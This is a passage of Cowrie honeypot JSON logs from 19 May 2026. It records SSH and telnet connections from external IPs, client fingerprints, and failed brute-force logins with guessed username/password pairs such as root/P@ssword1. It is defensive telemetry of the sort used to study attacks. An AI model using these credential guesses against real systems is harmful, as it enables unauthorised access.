{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47754,"dst_ip":"10.17.0.5","dst_port":22,"session":"665dc6aa9094","protocol":"ssh","message":"New connection: 45.153.34.112:47754 (10.17.0.5:22) [session: 665dc6aa9094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:21.280592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:21.285347Z","src_ip":"45.153.34.112","session":"665dc6aa9094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:21.367615Z","src_ip":"45.153.34.112","session":"665dc6aa9094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:21.614807Z","src_ip":"45.153.34.112","session":"665dc6aa9094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:22.890563Z","src_ip":"45.153.34.112","session":"665dc6aa9094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.18263363838196,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.102700Z","src_ip":"192.119.13.58","session":"ca89c9977922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52102,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d90cef0dbbb","protocol":"telnet","message":"New connection: 192.119.13.58:52102 (10.17.0.5:23) [session: 5d90cef0dbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.224400Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":49780,"dst_ip":"10.17.0.5","dst_port":22,"session":"f00eea63a76d","protocol":"ssh","message":"New connection: 186.68.83.105:49780 (10.17.0.5:22) [session: f00eea63a76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.484964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.497508Z","src_ip":"186.68.83.105","session":"f00eea63a76d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.586438Z","src_ip":"186.68.83.105","session":"f00eea63a76d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47756,"dst_ip":"10.17.0.5","dst_port":22,"session":"949dea9779b4","protocol":"ssh","message":"New connection: 45.153.34.112:47756 (10.17.0.5:22) [session: 949dea9779b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.721677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.727432Z","src_ip":"45.153.34.112","session":"949dea9779b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.810073Z","src_ip":"45.153.34.112","session":"949dea9779b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome12","message":"login attempt [root/welcome12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:24.973538Z","src_ip":"186.68.83.105","session":"f00eea63a76d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:25.058338Z","src_ip":"45.153.34.112","session":"949dea9779b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.151","src_port":34853,"dst_ip":"10.17.0.5","dst_port":23,"session":"78bba4111506","protocol":"telnet","message":"New connection: 195.184.76.151:34853 (10.17.0.5:23) [session: 78bba4111506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:25.698303Z"}
{"eventid":"cowrie.session.closed","duration":0.07822680473327637,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:25.776467Z","src_ip":"195.184.76.151","session":"78bba4111506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.149","src_port":48285,"dst_ip":"10.17.0.5","dst_port":23,"session":"f027b775f06f","protocol":"telnet","message":"New connection: 195.184.76.149:48285 (10.17.0.5:23) [session: f027b775f06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:25.792097Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:26.065727Z","src_ip":"186.68.83.105","session":"f00eea63a76d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:26.143480Z","src_ip":"45.153.34.112","session":"949dea9779b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09522724151611,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:26.440994Z","src_ip":"192.119.13.58","session":"89982a00737e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.83737277984619,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:27.312518Z","src_ip":"192.119.13.58","session":"5f98ec2dca4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47766,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a7a850d97f0","protocol":"ssh","message":"New connection: 45.153.34.112:47766 (10.17.0.5:22) [session: 2a7a850d97f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:28.347466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:28.352494Z","src_ip":"45.153.34.112","session":"2a7a850d97f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.59688925743103,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:28.395120Z","src_ip":"192.119.13.58","session":"9738772c018c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:28.434999Z","src_ip":"45.153.34.112","session":"2a7a850d97f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:28.681006Z","src_ip":"45.153.34.112","session":"2a7a850d97f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.77015209197998,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:29.718449Z","src_ip":"192.119.13.58","session":"46bc1d014924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:29.766356Z","src_ip":"45.153.34.112","session":"2a7a850d97f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51192,"dst_ip":"10.17.0.5","dst_port":23,"session":"83a53ef4892b","protocol":"telnet","message":"New connection: 192.119.13.58:51192 (10.17.0.5:23) [session: 83a53ef4892b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:30.675444Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33584,"dst_ip":"10.17.0.5","dst_port":22,"session":"444a01ddc978","protocol":"ssh","message":"New connection: 45.153.34.112:33584 (10.17.0.5:22) [session: 444a01ddc978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:31.712078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:31.717100Z","src_ip":"45.153.34.112","session":"444a01ddc978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:31.800952Z","src_ip":"45.153.34.112","session":"444a01ddc978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:32.049384Z","src_ip":"45.153.34.112","session":"444a01ddc978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:33.172812Z","src_ip":"45.153.34.112","session":"444a01ddc978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":44416,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4dab8b935a0","protocol":"ssh","message":"New connection: 170.106.177.3:44416 (10.17.0.5:22) [session: f4dab8b935a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:33.987777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:33.993129Z","src_ip":"170.106.177.3","session":"f4dab8b935a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:34.067729Z","src_ip":"170.106.177.3","session":"f4dab8b935a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.50953507423401,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:34.244102Z","src_ip":"192.119.13.58","session":"e031500c7117","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kian","password":"kian","message":"login attempt [kian/kian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:34.375901Z","src_ip":"170.106.177.3","session":"f4dab8b935a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38342,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1387c4f6cba","protocol":"telnet","message":"New connection: 192.119.13.58:38342 (10.17.0.5:23) [session: b1387c4f6cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:34.426368Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":59488,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d65e9326441","protocol":"ssh","message":"New connection: 81.9.145.130:59488 (10.17.0.5:22) [session: 3d65e9326441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:34.902891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:34.907977Z","src_ip":"81.9.145.130","session":"3d65e9326441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:35.025070Z","src_ip":"81.9.145.130","session":"3d65e9326441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33600,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c7d24bbf6e","protocol":"ssh","message":"New connection: 45.153.34.112:33600 (10.17.0.5:22) [session: 24c7d24bbf6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:35.125860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:35.130680Z","src_ip":"45.153.34.112","session":"24c7d24bbf6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","h